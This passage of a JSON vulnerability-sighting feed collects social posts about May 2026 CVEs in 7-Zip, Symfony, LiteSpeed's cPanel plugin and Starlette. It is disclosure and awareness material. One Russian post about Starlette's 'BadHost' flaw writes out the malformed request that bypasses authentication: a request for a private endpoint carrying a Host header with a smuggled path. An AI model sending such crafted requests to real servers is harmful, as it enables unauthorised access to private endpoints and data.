"2026-05-27T09:45:21.463369Z"}, {"uuid": "47f0ad41-d46e-4be8-85d1-3ef2ebccf247", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://t.me/S_E_Reborn/6386", "content": "\u2022  \u042f\u0440\u043e\u0441\u043b\u0430\u0432 \u041b\u0430\u0431\u043e\u0447\u0435\u0432\u0441\u043a\u0438\u0439 \u0438\u0437 GitHub Security \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 7-Zip, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2026-48095 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u044e 26.00.\n\n\u2022  \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 NTFS-\u0430\u0440\u0445\u0438\u0432\u043e\u0432. \u0418\u0437-\u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0438 \u043f\u0440\u0438 \u0440\u0430\u0441\u0447\u0451\u0442\u0435 \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0431\u0443\u0444\u0435\u0440\u0430 7-Zip \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0434\u0435\u043b\u0438\u0442\u044c \u043f\u043e\u0434 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u0441\u0435\u0433\u043e 1 \u0431\u0430\u0439\u0442, \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0443\u0434\u0430 256 \u041c\u0411 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u0445. \n\n\u2022  \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u044b\u0445\u043e\u0434\u044f\u0442 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0441\u043e\u0441\u0435\u0434\u043d\u0438\u0435 \u0443\u0447\u0430\u0441\u0442\u043a\u0438 \u043f\u0430\u043c\u044f\u0442\u0438. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432, \u0443\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 304 \u0431\u0430\u0439\u0442 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0451\u043d \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c vtable, \u0430 \u0434\u0430\u043b\u044c\u0448\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\u2022  \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 v26.01.\n\n\u27a1\ufe0f POC \u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438.\n\u27a1\ufe0f \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 [1], [2], [3].\n\n#\u041d\u043e\u0432\u043e\u0441\u0442\u0438 #CVE #Security", "creation_timestamp": "2026-05-26T12:30:49.000000Z"}, {"uuid": "e448fe0d-82b5-44ad-8831-ffda9f96444f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48736", "type": "seen", "source": "https://bsky.app/profile/symfony.com/post/3mmtaxdm4z32u", "content": "\ud83d\udd10 CVE-2026-48736: IpUtils::PRIVATE_SUBNETS Omits IPv6 Transition Forms: SSRF Bypass in NoPrivateNetworkHttpClient\n\u27a1\ufe0f https://symfony.com/blog/cve-2026-48736-iputils-private-subnets-omits-ipv6-transition-forms-ssrf-bypass-in-noprivatenetworkhttpclient", "creation_timestamp": "2026-05-27T10:03:53.463870Z"}, {"uuid": "db7254f2-c2b3-424d-ae56-9edf4ae91b75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48784", "type": "seen", "source": "https://bsky.app/profile/symfony.com/post/3mmtaxwk33y23", "content": "\ud83d\udd10 CVE-2026-48784: UrlGenerator Encoding Skips Every Other Chained ../ or ./: Generated URL Collapses Off-Route\n\u27a1\ufe0f https://symfony.com/blog/cve-2026-48784-urlgenerator-encoding-skips-every-other-chained-or-generated-url-collapses-off-route", "creation_timestamp": "2026-05-27T10:04:13.294454Z"}, {"uuid": "8e971635-b5fd-42f0-b2af-5cb736cebc75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48489", "type": "seen", "source": "https://bsky.app/profile/symfony.com/post/3mmtax4kuhm2m", "content": "\ud83d\udd10 CVE-2026-48489: Security Firewall Bypass via failure_forward Subrequest\n\u27a1\ufe0f https://symfony.com/blog/cve-2026-48489-security-firewall-bypass-via-failure-forward-subrequest", "creation_timestamp": "2026-05-27T10:03:46.196289Z"}, {"uuid": "f89521ee-6315-4ad2-9e68-d5004e3343ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48747", "type": "seen", "source": "https://bsky.app/profile/symfony.com/post/3mmtaxinnso2w", "content": "\ud83d\udd10 CVE-2026-48747: Mailomat Webhook Parser Reads the HMAC Algorithm from the Request: Signature Algorithm Downgrade\n\u27a1\ufe0f https://symfony.com/blog/cve-2026-48747-mailomat-webhook-parser-reads-the-hmac-algorithm-from-the-request-signature-algorithm-downgrade", "creation_timestamp": "2026-05-27T10:03:58.636872Z"}, {"uuid": "54c3836c-fa52-4266-a2cb-630e83694877", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48760", "type": "seen", "source": "https://bsky.app/profile/symfony.com/post/3mmtaxn3hnf2h", "content": "\ud83d\udd10 CVE-2026-48760: HtmlSanitizer URL Parser Underinclusive: Percent-Encoded BiDi Marks and Unicode Whitespace Bypass\n\u27a1\ufe0f https://symfony.com/blog/cve-2026-48760-htmlsanitizer-url-parser-underinclusive-percent-encoded-bidi-marks-and-unicode-whitespace-bypass", "creation_timestamp": "2026-05-27T10:04:06.445901Z"}, {"uuid": "620a7ab4-1406-4155-b03e-4acfc04f03d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48761", "type": "seen", "source": "https://bsky.app/profile/symfony.com/post/3mmtaxsaqpf2h", "content": "\ud83d\udd10 CVE-2026-48761: HtmlSanitizer Misses URL Attributes on object, applet, iframe, img and meta refresh\n\u27a1\ufe0f https://symfony.com/blog/cve-2026-48761-htmlsanitizer-misses-url-attributes-on-object-applet-iframe-img-and-meta-refresh", "creation_timestamp": "2026-05-27T10:04:08.651245Z"}, {"uuid": "2344bb84-82be-4ec3-a35e-e8c5028b4726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mmtb4khfno23", "content": "\ud83d\udd12 Millions of AI agents imperiled by critical vulnerability in open source package\n\nA critical vulnerability, named \"BadHost\" (CVE-2026-48710), has been discovered in the Starlette ...\n\nhttps://tinyurl.com/32dpwrys #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-05-27T10:06:48.179922Z"}, {"uuid": "b15b679d-ba2a-49ea-8d06-26fff9b332f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mmtbfxg2bb2t", "content": "\ud83d\udd12 Millions of BO agents imperiled by critical vulnerability in open source package\n\nA critical vulnerability, named \"BadHost\" (CVE-2026-48710), has been discovered in the Starlette ...\n\nhttps://tinyurl.com/32dpwrys #PotatoSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-05-27T10:12:05.200701Z"}, {"uuid": "7f7b09d8-a859-419d-86ed-3953f35d50b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116646073527499637", "content": "\u26a0\ufe0f CRITICAL: Actively exploited privilege escalation in LiteSpeed cPanel plugin (CVE-2026-48172) enables remote root access via lsws.redisAble. Patch plugin v2.3 \u2013 v2.4.4 now! CISA mandates 4-day deadline for U.S. agencies. https://radar.offseq.com/threat/cisa-gives-feds-4-days-to-patch-actively-exploited-ebc57663 #OffSeq #vuln #patchnow", "creation_timestamp": "2026-05-27T10:30:32.825950Z"}, {"uuid": "a504d95e-035a-4f97-90a6-95db2c81bd9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mmtcgzadie2d", "content": "LiteSpeed cPanel plugin CRITICAL vuln (CVE-2026-48172) is under active exploit \u2014 remote attackers can gain root access! Patch plugin v2.3 \u2013 v2.4.4 ASAP. CISA gives feds 4 days. https://radar.offseq.com/threat/cisa-gives-feds-4-days-to-patch-actively-exploited-ebc57663 #OffSeq #cybersecurity #patc...", "creation_timestamp": "2026-05-27T10:30:34.032057Z"}, {"uuid": "f34e34e4-8300-460a-83be-43adcf44d07c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mmtdo24ajok2", "content": "CISA Warns of Exploited LiteSpeed cPanel Plugin Flaw The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has officially added CVE-2026-48172 to its Known Exploited Vulnerabilities (K...\n\n#Cyber #Security #News #Cyber #security #news #vulnerability\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-27T10:52:24.227544Z"}, {"uuid": "15c19119-aec2-4fad-b232-e1c4fe8290f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "Telegram/IqAYll4ZzjxpeZQ_8CUvuT_fob3B5lJjEUBfv2EUXY56hck", "content": "", "creation_timestamp": "2026-05-27T21:12:27.000000Z"}, {"uuid": "2ab5ac80-bd6b-4910-91e1-ffb4e491dd73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://t.me/true_secator/8247", "content": "\u0412 \u043c\u0430\u043b\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u043e\u0433\u043e \u041f\u041e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u043b\u044f \u0418\u0418, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0443\u0441\u043b\u043e\u0432\u043d\u043e\u0435 \u043d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 BadHost (\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-48710), \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044f Starlette, \u043b\u0435\u0433\u043a\u043e\u0432\u0435\u0441\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u043d\u0430 Python \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0430\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u044b\u0445 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432.\n\n\u041f\u0440\u043e\u0449\u0435 \u0433\u043e\u0432\u043e\u0440\u044f, \u044d\u0442\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u00ab\u043e\u0431\u043c\u0430\u043d\u0443\u0442\u044c\u00bb \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0438\u0445 \u043a \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c\u0443 URL-\u0430\u0434\u0440\u0435\u0441\u0443 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0412 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0436\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u044e\u0442\u0441\u044f \u043a \u0447\u0430\u0441\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0442\u043e\u0447\u043a\u0430\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438\u043b\u0438 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439.\n\n\u041d\u0435\u043c\u0435\u0446\u043a\u0430\u044f X41 D-Sec \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u043d\u0435\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0443, \u0442\u0430\u043a\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0432 \u043f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a: \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043b\u0435\u0433\u043a\u043e \u0441\u043e\u0431\u0440\u0430\u0442\u044c, \u0435\u0441\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0437\u043d\u0430\u044e\u0442, \u043a \u043a\u0430\u043a\u0438\u043c \u0447\u0430\u0441\u0442\u044f\u043c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e API \u043e\u043d\u0438 \u0445\u043e\u0442\u044f\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f: GET\u00a0/privateendpoint HTTP/1.1 \u0438 Host:\u00a0example.com/public?bar=.\n\n\u041a\u043e\u043c\u0430\u043d\u0434\u0430 Starlette \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435, \u043d\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0418\u0418, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043d\u0435 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u0430 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u0430.\n\n\u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a Starlette \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0430\u0436\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u043c \u0442\u0430\u043a\u0438\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043a\u0430\u043a LiteLLM, vLLM, \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0434\u043b\u044f \u0418\u0418, \u0441\u0435\u0440\u0432\u0435\u0440\u044b MCP \u0438 \u0434\u0430\u0436\u0435 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0438 \u0434\u043b\u044f \u0430\u0433\u0435\u043d\u0442\u043e\u0432 \u0418\u0418.\n\nX41 D-Sec \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0418\u0418 \u043a \u0430\u0442\u0430\u043a\u0430\u043c \u0442\u0438\u043f\u0430 BadHost.", "creation_timestamp": "2026-05-27T11:18:38.000000Z"}, {"uuid": "808dba64-f0a7-46a1-95a7-f7b1f376ea0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mmtj5fepax2t", "content": "CISA added CVE-2026-48172 to its exploited list after attacks on the LiteSpeed cPanel plugin. The flaw can let remote attackers gain root access. #CVE2026 #LiteSpeed #cPanel", "creation_timestamp": "2026-05-27T12:30:27.331828Z"}, {"uuid": "a8187bc4-8721-4990-b8d1-d362be416ddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mmtjlxivf52g", "content": "BadHost\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001AI\u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u30b5\u30fc\u30d0\u30fc\u306e\u6a5f\u5bc6\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u304c\u653b\u6483\u8005\u306b\u9732\u51fa\n\nStarlette\u30a6\u30a7\u30d6\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306b\u300cBadHost\u300d\uff08CVE-2026-48710\uff09\u3068\u547c\u3070\u308c\u308b\u91cd\u5927\u306a\u8106\u5f31\u6027\u304c\u767a\u898b\u3055\u308c\u3001\u6570\u5343\u3082\u306eAI\u642d\u8f09\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304a\u3088\u3073API\u30b5\u30fc\u30d3\u30b9\u304c\u653b\u6483\u3092\u53d7\u3051\u308b\u53ef\u80fd\u6027\u306b\u3055\u3089\u3055\u308c\u3066\u3044\u307e\u3059\u3002 \u3053\u306e\u6b20\u9665\u306f\u3001OSTIF\u304c\u652f\u63f4\u3059\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u76e3\u67fb\u306b\u304a\u3044\u3066X41 D-Sec\u306b\u3088\u3063\u3066\u767a\u898b\u3055\u308c\u305f\u3082\u306e\u3067\u3001", "creation_timestamp": "2026-05-27T12:38:35.201109Z"}, {"uuid": "c77025b7-9548-422c-9755-16cdb44d4fa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48806", "type": "seen", "source": "https://bsky.app/profile/symfony.com/post/3mmtlzlisnd23", "content": "\ud83d\udd10 CVE-2026-48806: Sandbox `__toString()` policy bypass via dynamic mapping keys\n\u27a1\ufe0f https://symfony.com/blog/cve-2026-48806-sandbox-tostring-policy-bypass-via-dynamic-mapping-keys", "creation_timestamp": "2026-05-27T13:21:59.809814Z"}, {"uuid": "5626dfeb-85cb-42ab-9834-0f602b1f9d13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/pixelsandpulse.bsky.social/post/3mmtloq3ryd2g", "content": "A new critical vulnerability, BadHost (CVE-2026-48710), in the Starlette web framework allows authentication bypass through Host header manipulation. This isn't just a theoretical flaw; it poses a significant risk to AI systems\u2026\n\nhttps://www.tpp.blog/1mchjk7\n\n#cybersecurity #starlette #cve202648710", "creation_timestamp": "2026-05-27T13:15:55.974455Z"}, {"uuid": "03271ec2-826c-4ac0-b7e4-c42bbdafb568", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48808", "type": "seen", "source": "https://bsky.app/profile/symfony.com/post/3mmtm25n47s2y", "content": "\ud83d\udd10 CVE-2026-48808: Sandbox property allowlist bypass via the `column` filter under `SourcePolicyInterface`\n\u27a1\ufe0f https://symfony.com/blog/cve-2026-48808-sandbox-property-allowlist-bypass-via-the-column-filter-under-sourcepolicyinterface", "creation_timestamp": "2026-05-27T13:22:18.946973Z"}, {"uuid": "a65bc553-a9c6-4bab-9b67-3f134301bb7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48805", "type": "seen", "source": "https://bsky.app/profile/symfony.com/post/3mmtlzgpw6w2h", "content": "\ud83d\udd10 CVE-2026-48805: Sandbox state regression in deprecated internal wrappers in `src/Resources/core.php`\n\u27a1\ufe0f https://symfony.com/blog/cve-2026-48805-sandbox-state-regression-in-deprecated-internal-wrappers-in-src-resources-core-php", "creation_timestamp": "2026-05-27T13:21:55.433012Z"}, {"uuid": "7fd6220c-0bed-4ac2-bdca-c2b927cf1419", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48807", "type": "seen", "source": "https://bsky.app/profile/symfony.com/post/3mmtlzsvcyt23", "content": "\ud83d\udd10 CVE-2026-48807: Sandbox `__toString()` policy bypass via `Traversable` in `join`/`replace` and `in`/`not in` operators\n\u27a1\ufe0f https://symfony.com/blog/cve-2026-48807-sandbox-tostring-policy-bypass-via-traversable-in-join-replace-and-in-not-in-operators", "creation_timestamp": "2026-05-27T13:22:07.655175Z"}, {"uuid": "0282b691-124b-4036-ac8d-07a26e3b05d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/newsycombinatorbot.bsky.social/post/3mmtm5bwv5y2q", "content": "BadHost \u2013 CVE-2026-48710: Starlette Host-Header Auth Bypass (badhost.org)\n\nDiscussion | Main Link", "creation_timestamp": "2026-05-27T13:24:06.449710Z"}, {"uuid": "8a5424c0-663d-4e3a-8dd0-bb6e54e13638", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48906", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmtna4mrm42c", "content": "CVE-2026-48906 - Extension - tassos.gr - Arbitrary File Deletion in Novarain/Tassos Framework\nCVE ID : CVE-2026-48906\n \n Published : May 27, 2026, 11:16 a.m. | 48\u00a0minutes ago\n \n Description : The vulnerability in the Tassos Framework Plugin allows users to delete arbitrary fil...", "creation_timestamp": "2026-05-27T13:43:52.627299Z"}, {"uuid": "6a362ec3-a009-4448-8d89-aa27f139ebaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48133", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq4yad4r2m", "content": "\ud83d\udd17 CVE : CVE-2026-48131, CVE-2026-48132, CVE-2026-48133, CVE-2026-48134, CVE-2026-48135, CVE-2026-48136", "creation_timestamp": "2026-05-27T14:35:29.825581Z"}, {"uuid": "cd5e6023-938a-44ad-99f5-d3f1263bb1d9", 